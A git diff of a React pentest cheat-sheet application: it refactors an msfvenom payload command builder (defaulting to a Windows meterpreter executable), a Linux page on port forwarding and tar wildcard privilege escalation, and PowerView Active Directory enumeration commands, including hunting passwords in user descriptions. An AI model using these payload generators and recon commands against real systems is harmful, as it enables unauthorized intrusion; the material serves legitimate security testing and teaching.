+
How to port forward ?
+
{PortForwarding.map( ( k, i ) => {
return (
@@ -235,13 +211,8 @@ export default function LinuxCommands () {
);
} )}
-
TAR wildcard cronjob privilege escalation
-
+
TAR wildcard cronjob privilege escalation
+
{wildcardPrivesc.map( ( k, i ) => {
return (
@@ -250,6 +221,6 @@ export default function LinuxCommands () {
);
} )}
-
+
);
}
diff --git a/src/components/linux/MSFBuilder.tsx b/src/components/linux/MSFBuilder.tsx
index f86438b..df6b770 100644
--- a/src/components/linux/MSFBuilder.tsx
+++ b/src/components/linux/MSFBuilder.tsx
@@ -2,7 +2,6 @@ import React from 'react';
import { Input, Typography, Row, Divider, Select, Form, Col, Collapse } from 'antd';
import PersistedState from 'use-persisted-state';
import { MSFBuilder } from 'components/types/MSFBuilder';
-import QueueAnim from 'rc-queue-anim';
const { Title, Paragraph } = Typography;
@@ -21,19 +20,22 @@ const MSFBuilder = () => {
let format = require( '../../assets/data/Format.json' );
const [ values, setValues ] = msfVenomBuilder( {
- Payload: 'generic/shell_reverse_tcp',
+ Payload: 'windows/meterpreter/bind_tcp',
LHOST: '10.10.13.37',
LPORT: '4444',
- Encoder: '',
- EncoderIterations: '',
- Platform: '',
- Arch: '',
- NOP: '',
- BadCharacters: '',
- Format: '',
- Outfile: ''
+ Encoder: 'generic/none',
+ EncoderIterations: '4',
+ Platform: 'windows',
+ Arch: 'x64',
+ NOP: '200',
+ BadCharacters: "badchars",
+ Format: 'exe',
+ Outfile: 'reverse_shell.exe'
} );
+ const { LHOST, LPORT, Platform, Arch, NOP, Encoder,
+ EncoderIterations, BadCharacters, Format, Outfile } = values;
+
const launchCommand = `msfconsole -qx "use exploit/multi/handler; set PAYLOAD ${ values.Payload }; set LHOST ${ values.LHOST }; set LPORT ${ values.LPORT }; run"`;
const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
@@ -44,8 +46,30 @@ const MSFBuilder = () => {
setValues( { ...values, [ prop ]: data } );
};
+ const generateCommand = ( values ) => {
+ const options = [
+ LHOST && `LHOST=${ LHOST }`,
+ LPORT && `LPORT=${ LPORT }`,
+ Platform && `--platform ${ Platform }`,
+ Arch && `-a ${ Arch }`,
+ NOP && `-n ${ NOP }`,
+ Encoder && `-e ${ Encoder }`,
+ EncoderIterations && `-i ${ EncoderIterations }`,
+ BadCharacters && `-b "${ BadCharacters }"`,
+ Format && `-f ${ Format }`,
+ Outfile && `-o ${ Outfile }`
+ ].filter( Boolean );
+
+ if ( !values.Payload ) {
+ return '';
+ }
+
+ const command = `msfvenom -p ${ values.Payload } ${ options.join( ' ' ) }`;
+ return command;
+ }
+
return (
-
+
MSF Venom Builder
@@ -73,14 +97,14 @@ const MSFBuilder = () => {
onChange={handleChangeSelect( 'Payload' )}
placeholder='python/meterpreter/reverse_http'
filterOption={( inputValue, option ) =>
- option.value.toLowerCase().indexOf( inputValue.toLowerCase() ) >= 0}
+ option.value.toString().toUpperCase().indexOf( inputValue.toUpperCase() ) !== -1
+ }
>
{payloads.map(
(
data: {
value:
| boolean
- | React.ReactChild
| React.ReactFragment
| React.ReactPortal
| null
@@ -135,7 +159,6 @@ const MSFBuilder = () => {
data: {
value:
| boolean
- | React.ReactChild
| React.ReactFragment
| React.ReactPortal
| null
@@ -185,7 +208,7 @@ const MSFBuilder = () => {
{platform.map(
(
data: {
- value: boolean | React.ReactChild | React.ReactFragment | React.ReactPortal;
+ value: boolean | React.ReactFragment | React.ReactPortal;
},
key: string | number
) => {
@@ -237,7 +260,6 @@ const MSFBuilder = () => {
data: {
value:
| boolean
- | React.ReactChild
| React.ReactFragment
| React.ReactPortal
| null
@@ -267,17 +289,7 @@ const MSFBuilder = () => {
- msfvenom -p {values.Payload}
- {values.LHOST > '' && ' LHOST=' + values.LHOST}
- {values.LPORT > '' && ' LPORT=' + values.LPORT}
- {values.Platform > '' && ' --platform ' + values.Platform}
- {values.Arch > '' && ' -a ' + values.Arch}
- {values.NOP > '' && ' -n ' + values.NOP}
- {values.Encoder > '' && ' -e ' + values.Encoder}
- {values.EncoderIterations > '' && ' -i ' + values.EncoderIterations}
- {values.BadCharacters > '' && ' -b ' + `"{values.BadCharacters}"`}
- {values.Format > '' && ' -f ' + values.Format}
- {values.Outfile > '' && ' -o ' + values.Outfile}
+ {generateCommand( values )}
@@ -304,7 +316,7 @@ run`}
-
+
);
};
diff --git a/src/components/linux/PowershellCommands.tsx b/src/components/linux/PowershellCommands.tsx
index cfc840f..0675b89 100644
--- a/src/components/linux/PowershellCommands.tsx
+++ b/src/components/linux/PowershellCommands.tsx
@@ -3,7 +3,6 @@ import { Typography, Divider, Button, message } from 'antd';
import SyntaxHighlighter from 'react-syntax-highlighter';
import { vs2015 } from 'react-syntax-highlighter/dist/esm/styles/hljs';
import Clipboard from 'react-clipboard.js';
-import QueueAnim from 'rc-queue-anim';
import { CopyOutlined } from '@ant-design/icons';
const { Title, Paragraph, Text } = Typography;
@@ -44,19 +43,19 @@ export default function PowershellCommands () {
// gpo
const gpo_enum = `Get-NetGPO -ComputerName computername.domain.com`;
// passwd enum
- const passwd_lastset = `Get-UserProperty โProperties pwdlastset`;
- const user_desc_harvest = `Find-UserField -SearchField Description โSearchTerm โpassโ`;
+ const passwd_lastset = `Get-UserProperty -Properties pwdlastset`;
+ const user_desc_harvest = `Find-UserField -SearchField Description -SearchTerm โpassโ`;
//computers domain
const domain_computers = `Get-NetComputer`;
const domain_pingable_computers = `Get-NetComputer -Ping`;
- const domain_win7U_computers = `Get-NetComputer โOperatingSystem "Windows 7 Ultimate"`;
+ const domain_win7U_computers = `Get-NetComputer -OperatingSystem "Windows 7 Ultimate"`;
//domain admins
const domain_admin_members = `Get-NetGroupMember -GroupName "Domain Admins"`;
const domain_admins_groups = `Get-NetGroup *admin*`;
- const local_admins = `Get-NetLocalGroup โComputerName PCNAME-001`;
- const user_group_membership = `Get-NetGroup โUserName "username"`;
+ const local_admins = `Get-NetLocalGroup -ComputerName PCNAME-001`;
+ const user_group_membership = `Get-NetGroup -UserName "username"`;
//acl
const ACL_user_enum = `Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs`;
@@ -143,7 +142,7 @@ Foreach($obj in $Result)
}`;
return (
-
+
Powershell handy commands
@@ -386,6 +385,6 @@ Foreach($obj in $Result)